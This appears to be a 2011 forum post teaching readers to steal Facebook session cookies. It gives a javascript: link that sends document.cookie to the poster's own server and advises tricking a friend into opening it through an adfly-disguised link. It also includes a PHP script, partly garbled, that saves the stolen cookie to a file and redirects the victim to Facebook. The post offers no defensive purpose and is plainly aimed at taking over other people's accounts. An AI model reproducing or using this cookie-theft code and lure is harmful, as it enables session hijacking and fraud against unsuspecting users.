How to steal cookies

Posted in Friday, 15 July 2011
by Saadi

Steal Cookies (Easy)

You need:
- Your server
- PHP Script which save something to file eg:
http://myserver.com/steal_cookie.php?cookie=
( you must write your own steal script in php ) or i will post later

later you write to you friend go on facebook.com and after this go on this:

Code:
javascript:self.document.location="http://myserver.com/steal_cookie.php?cookie=" + document.cookie;

It works on 100% if slave is on website what you want ;) for example when you want hack someone facebook account slave must be on facebook and replae facebook.com with your link! It works like XSS but is not ;P
but you can easly make adfly link or something
and this: jself.document.location="http://myserver.com/steal_cookie.php?cookie=" + document.cookie;
later looks like this: adfly.com/dfdere : blablabla ,etc...

Sorry for my english .

I thnk it helps :D

EDIT:Steal cookies script:
PHP Code:
<?php

    $file
=fopen("cookies_stealed.txt","w+");
    
fwrite($file$_GET[cookie]);
  
fclose($file);
    echo 
"<script>self.document.location = "http://facebook.com/";</script>";
?>